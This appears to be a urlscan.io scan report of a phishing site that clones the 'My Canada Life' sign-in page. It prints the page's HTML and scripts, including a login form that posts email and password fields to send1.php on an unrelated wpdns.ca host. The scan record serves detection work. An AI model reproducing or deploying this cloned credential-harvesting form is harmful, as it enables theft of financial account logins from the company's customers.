wp223324.wpdns.ca Open in urlscan Pro
173.209.36.131  Public Scan

Submitted URL: https://thanks-jysnt.formstack.com/forms/yahouri
Effective URL: https://wp223324.wpdns.ca/CALIFE/CA-LIFE/?id=CA9958290696007-LF938576928
Submission: On May 09 via api from CA — Scanned from CA

Form analysis 2 forms found in the DOM

POST send1.php

<form action="send1.php" method="post">
  <input type="hidden" name="ICSMyLogin:j_id71:j_id72:j_id73:j_id74:j_id77:j_id79" value="ICSMyLogin:j_id71:j_id72:j_id73:j_id74:j_id77:j_id79">
  <script type="text/javascript" language="Javascript">
    function dpf(f) {
      var adp = f.adp;
      if (adp != null) {
        for (var i = 0; i < adp.length; i++) {
          adp[i].parentNode.removeChild(adp[i]);
        }
      }
    };

    function apf(f, pvp) {
      var adp = new Array();
      f.adp = adp;
      var ps = pvp.split(',');
      for (var i = 0, ii = 0; i < ps.length; i++, ii++) {
        var p = document.createElement("input");
        p.type = "hidden";
        p.name = ps[i];
        p.value = ps[i + 1];
        f.appendChild(p);
        adp[ii] = p;
        i += 1;
      }
    };

    function jsfcljs(f, pvp, t) {
      apf(f, pvp);
      var ft = f.target;
      if (t) {
        f.target = t;
      }
      f.submit();
      f.target = ft;
      dpf(f);
    };
  </script>
  <div id="ICSMyLogin:j_id71:j_id72:j_id73:j_id74:j_id77:j_id79:j_id246"></div>
</form>

Name: ICSMyLogin:j_id71:j_id72:j_id73:j_id74:loginFormPOST send1.php

<form id="ICSMyLogin:j_id71:j_id72:j_id73:j_id74:loginForm" name="ICSMyLogin:j_id71:j_id72:j_id73:j_id74:loginForm" method="post" action="send1.php" class="card login__card" enctype="application/x-www-form-urlencoded">
  <input type="hidden" name="ICSMyLogin:j_id71:j_id72:j_id73:j_id74:loginForm" value="ICSMyLogin:j_id71:j_id72:j_id73:j_id74:loginForm">
  <h2 class="h1">Sign in</h2>
  <div class="nds-form-element nds-form-container">
    <div class="nds-form-element__control nds-form-element__control-animated-label">
      <div class="error-border" id="usernameDiv"><input id="ICSMyLogin:j_id71:j_id72:j_id73:j_id74:loginForm:username" type="text" name="uzer" class="nds-input" tabindex="0" data-show-valid-msg="false" aria-describedby="emailMessages"
          aria-required="true" data-type="email" data-show-valid-icon="false">
      </div>
      <label class="label" for="ICSMyLogin:j_id71:j_id72:j_id73:j_id74:loginForm:username"> Email address </label>
      <div class="hint-text is-color-text-light" id="emailMessages">
        <div aria-label="error" class="error-message is-hidden blank" id="usernameError" role="alert">
          <span class="visually-hidden-icon">error</span>Make sure your email doesn't contain any accented letters and is formatted correctly. Example: name@domain.com
        </div>
        <div aria-label="error" class="error-message is-hidden blank2" id="usernameBlank" role="alert">
          <span class="visually-hidden-icon">error</span>Enter your email address.
        </div>
      </div>
    </div>
  </div>
  <div class="nds-form-element">
    <div class="nds-form-element__control nds-form-element__control-animated-label"><span id="ICSMyLogin:j_id71:j_id72:j_id73:j_id74:loginForm:password">
        <style>
          #passwordId_pwValidation li {
            list-style: disc;
            margin-left: 2rem;
          }

          #passwordId_pwValidation li.error,
          #passwordId_pwValidation li.success {
            list-style: none;
            margin-left: 0rem;
            padding-left: 2rem;
          }

          #passwordId_pwValidation li.error {
            background-image: url('https://www.canadalife.com/content/dam/public/icons/system/x_error.svg');
            background-position: top left;
            background-repeat: no-repeat;
          }

          #passwordId_pwValidation li.error::before {
            content: "Your password needs to include at least ";
            position: absolute;
            left: -10000px;
            top: auto;
            width: 1px;
            height: 1px;
            overflow: hidden;
          }

          #passwordId_pwValidation li.success {
            background-image: url('https://www.canadalife.com/content/dam/public/icons/system/check_success.svg');
            background-position: top left;
            background-repeat: no-repeat;
          }

          #passwordId_pwValidation li.success::before {
            content: "Success, your password includes ";
            position: absolute;
            left: -10000px;
            top: auto;
            width: 1px;
            height: 1px;
            overflow: hidden;
          }

          .error-border input[type="text"] {
            margin-bottom: 0px;
          }

          .error-border input[type="password"] {
            margin-bottom: 0px;
          }

          .password-hide-show {
            width: 100%;
            display: flex;
            flex-direction: row;
          }

          .password-hide-show input[type="password"]:focus {
            margin-right: 2px;
          }

          .password-hide-show div[role="button"]:hover {
            box-shadow: inset 0 0 0 2px #93948e;
            transition: box-shadow .4s ease;
          }

          .password-hide-show div[role="button"]:active {
            box-shadow: inset 0 0 0 1px #93948e;
            border-width: 1px;
          }

          .password-hide-show div[role="button"]:focus {
            box-shadow: inset 0 0 0 2px #93948e;
            outline: var(--n-theme-a11y-outline-width) solid var(--n-theme-a11y-outline-color);
            outline-offset: var(--n-theme-a11y-outline-offset-inner);
          }

          .password-hide-show div[role="button"] {
            background-color: white;
            width: 175px;
            border-width: 0px;
            box-shadow: inset 0 0 0 1px #93948e;
            color: var(--n-theme-color-text);
            text-align: center;
            vertical-align: middle;
            line-height: 48px;
          }

          #passwordId_capslock-error {
            display: none;
          }

          .visually-hidden-icon {
            position: absolute;
            clip: rect(1px, 1px, 1px, 1px);
          }
        </style>
        <div class="nds-form-element nds-form-container" id="passwordId_PasswordDiv">
          <div class="nds-form-element__control nds-form-element__control-animated-label">
            <label class="label" for="ICSMyLogin:j_id71:j_id72:j_id73:j_id74:loginForm:password:j_id151:password"> Password </label>
            <div class="password-hide-show error-border" id="passwordId_PasswordId">
              <div id="passwordId_Password" style="display: contents;"><input id="ICSMyLogin:j_id71:j_id72:j_id73:j_id74:loginForm:password:j_id151:password" type="password" name="pswd" value="" maxlength="50" tabindex="0"
                  class="locity-input nds-input" data-show-valid-msg="false" aria-describedby="passwordId_passwordHint" aria-required="true" data-show-valid-icon="false" autocomplete="off">
              </div>
              <div aria-label="Show password" id="passwordId_passwordButton" role="button" tabindex="0">Show</div>
            </div>
            <div class="hint-text is-color-text-light" id="passwordId_passwordHint">
              <div id="passwordId_capslock-error" role="status">Caps lock is on</div>
              <div class="is-hidden error-message blank nds-p-bottom_medium">
                <span class="visually-hidden-icon">error</span> Enter your password.
              </div>
              <div class="is-hidden error-message invalid nds-p-bottom_medium">
                <span class="visually-hidden-icon">error</span> Let?s make that password stronger.
              </div>
              <div class="is-hidden error-message mismatch">
                <span class="visually-hidden-icon">error</span> Your passwords don?t match ? did you type too fast?
              </div>
              <div class="is-hidden error-message length">
                <span class="visually-hidden-icon">error</span> Password must be less than 50 characters.
              </div>
              <div aria-live="assertive" class="is-hidden error-message weak" id="passwordId_ariaPwValidations">
                <span class="visually-hidden-icon">error</span> Let?s make that password stronger. <ul>
                  <li aria-hidden="true" class="success" criteria="^.{12,50}$" id="passwordId_success-length">Success, your password includes at least 12 characters.</li>
                  <li aria-hidden="true" class="error" criteria="[A-Z]" id="passwordId_error-upper">Your password needs to include at least 1 uppercase letter.</li>
                  <li aria-hidden="true" class="success" criteria="[a-z]" id="passwordId_success-lower">Success, your password includes at least 1 lowercase letter.</li>
                  <li aria-hidden="true" class="error" criteria="[0-9]" id="passwordId_error-number">Your password needs to include at least 1 number.</li>
                  <li aria-hidden="true" class="success" criteria="[!#$%\-_=+<>]" id="passwordId_success-special">Success, your password includes at least 1 of these special characters: ! # $ % - _ = + &lt; &gt;</li>
                </ul>
              </div>
              <div style="display:none"> Password must include at least: <ul id="passwordId_pwValidation">
                  <li criteria="[a-z]">1 lowercase letter</li>
                  <li criteria="[A-Z]">1 uppercase letter</li>
                  <li criteria="[0-9]">1 number</li>
                  <li criteria="^.{12,50}$">12 characters</li>
                  <li criteria="[!#$%\-_=+<>]">1 of these special characters: ! # $ % - _ = + &lt; &gt;</li>
                </ul>
              </div>
            </div>
          </div>
        </div>
        <script type="text/javascript">
          //# sourceURL=passwordHideShow.js
          $(document).ready(() => {
            const $Password = $('#passwordId_PasswordDiv');
            const $pwdValidations = $Password.find('#passwordId_pwValidation li');
            const $ariaPwdValidations = $Password.find('#passwordId_ariaPwValidations li');
            const errorClass = 'nds-has-error';
            //Helper functions
            function validate($field, focusSet, validations) {
              const $container = $field.closest('.nds-form-element');
              let errorFound = false;
              return validations.reduce((err, {
                assert,
                target,
                com
              }) => {
                if (!errorFound && assert(val)) {
                  $container.addClass(errorClass).find(target).removeClass('is-hidden');
                  if (!focusSet) {
                    $field.focus();
                  }
                  errorFound = true;
                  return true;
                }
                return err || false;
              }, focusSet);
            }

            function showError($field, target, setFocus) {
              $field.closest('.nds-form-element').addClass(errorClass).find(target).removeClass('is-hidden');
              return setFocus && !!$field.focus();
            }

            function clearFieldErrors($field) {
              $field.closest('.nds-form-container').removeClass(errorClass).find('.error-message:not(.is-hidden)').addClass('is-hidden');
            }

            function criteriaToData(idx, mess) {
              const $mess = $(mess);
              $mess.data('criteria', new RegExp($mess.attr("criteria")));
            }

            function togglePasswordFieldType(e) {
              const $self = $(e.currentTarget);
              const $pwdfield = $Password.find('[id$="password"]');
              if ($pwdfield.prop('type') == "password") {
                $pwdfield.prop('type', "text");
                e.currentTarget.innerHTML = 'Hide';
                $self.attr('aria-label', "Hide password");
              } else {
                $pwdfield.prop('type', "password");
                e.currentTarget.innerHTML = 'Show';
                $self.attr('aria-label', "Show password");
              }
            }
            //Preprocessing page
            $pwdValidations.each(criteriaToData);
            $ariaPwdValidations.each(criteriaToData);
            $Password.on('input', '[id$="password"]', (e) => {
              const $self = $(e.currentTarget);
              const val = $self.val();
              clearFieldErrors($self);
              $pwdValidations.removeClass('error').removeClass('success');
              if (val.length === 0) {
                $ariaPwdValidations.attr("aria-hidden", "true");
              } else {
                $pwdValidations.each((idx, mess) => {
                  const $mess = $(mess);
                  const valid = $mess.data('criteria').test(val);
                  $mess.toggleClass('error', !$mess.data('criteria').test(val));
                  $mess.toggleClass('success', $mess.data('criteria').test(val));
                });
              }
              // find the capslock error element within the given password element.
              const $capsLockError = $Password.find('[id$="passwordId_capslock-error"]');
              if (true && event.getModifierState("CapsLock")) {
                // Capslock on
                $capsLockError.show();
              } else {
                // Capslock off
                $capsLockError.hide();
              }
            }).on('focus', (e) => {
              const $capsLockError = $Password.find('[id$="passwordId_capslock-error"]');
              if (true && event.getModifierState("CapsLock")) {
                // Capslock on
                $capsLockError.show();
              } else {
                // Capslock off
                $capsLockError.hide();
              }
            }).on('click', '[id$="passwordId_passwordButton"]', togglePasswordFieldType).on('keypress', '[id$="passwordId_passwordButton"]', (e) => {
              if (e.keyCode == 13 || e.keyCode == 32) {
                e.preventDefault();
                togglePasswordFieldType(e);
              }
            })
          });
          window.onload = function() {
            $('input[type=password]').attr("autocomplete", "off");
          };
        </script>
      </span>
    </div>
  </div>
  <div class="nds-form-element nds-form-container" id="remember-me-container">
    <div class="nds-form-element__control nds-vertical_checkbox">
      <span class="nds-checkbox"><input id="ICSMyLogin:j_id71:j_id72:j_id73:j_id74:loginForm:rememberMe" type="checkbox" name="ICSMyLogin:j_id71:j_id72:j_id73:j_id74:loginForm:rememberMe" tabindex="0">
        <label aria-label="Remember my email address" class="nds-checkbox__label" for="ICSMyLogin:j_id71:j_id72:j_id73:j_id74:loginForm:rememberMe">
          <span class="nds-checkbox_faux"></span>
          <span class="nds-form-element__label">Remember me</span>
        </label>
      </span>
    </div>
  </div><input id="ICSMyLogin:j_id71:j_id72:j_id73:j_id74:loginForm:loginButton" type="submit" name="ICSMyLogin:j_id71:j_id72:j_id73:j_id74:loginForm:loginButton" value="Sign in" class="nds-button nds-button_brand">
  <div id="ICSMyLogin:j_id71:j_id72:j_id73:j_id74:loginForm:j_id247"></div>
</form>

Text Content

Skip to main content
 * 


 * 


WELCOME TO MY CANADA LIFE

Keep on top of your finances with My Canada Life. With 24/7 access to your info
you can easily see where you are at, where you want to be and how to get there.
Save time and energy with self-serve options and focus on what is important to
you.


SIGN IN


Email address
errorMake sure your email doesn't contain any accented letters and is formatted
correctly. Example: name@domain.com
errorEnter your email address.
Password
Show
Caps lock is on
error Enter your password.
error Let?s make that password stronger.
error Your passwords don?t match ? did you type too fast?
error Password must be less than 50 characters.
error Let?s make that password stronger.
 * Success, your password includes at least 12 characters.
 * Your password needs to include at least 1 uppercase letter.
 * Success, your password includes at least 1 lowercase letter.
 * Your password needs to include at least 1 number.
 * Success, your password includes at least 1 of these special characters: ! # $
   % - _ = + < >

Password must include at least:
 * 1 lowercase letter
 * 1 uppercase letter
 * 1 number
 * 12 characters
 * 1 of these special characters: ! # $ % - _ = + < >

Remember me

Register

Forgot your password?

? The Canada Life Assurance Company 2009 - 2024


MANAGE YOUR COOKIE PREFERENCES

Some cookies are essential for our site to function properly and can?t be
switched off. You can, however, use this tool to manage your other cookie
settings. Select each category to learn more about these different types of
cookies, and note that leaving certain categories off may impact your experience
on our website and limit the services we?re able to offer.
More information about cookies
Allow all cookies


MANAGE MY COOKIE PREFERENCES

ESSENTIAL COOKIES

Always Active

These cookies are necessary for the website to function properly and can't be
switched off. Without these cookies, the site may not be secure and certain
features may not work as expected.

FUNCTIONAL COOKIES

Functional Cookies

These cookies allow the website to provide enhanced functionality, including
remembering your language preferences or sign-in details for your online
account.

ANALYTICS AND PERFORMANCE COOKIES

Analytics and Performance Cookies

These cookies allow us to count visits and traffic sources so we can measure and
improve the performance of our site. They help us to know about the usage of our
site which can help us make improvements to make it easier for you to find
relevant information.

Back Button


COOKIE LIST



Search Icon
Filter Icon

Clear
checkbox label label
Apply Cancel
Consent Leg.Interest
checkbox label label
checkbox label label
checkbox label label

Confirm my choices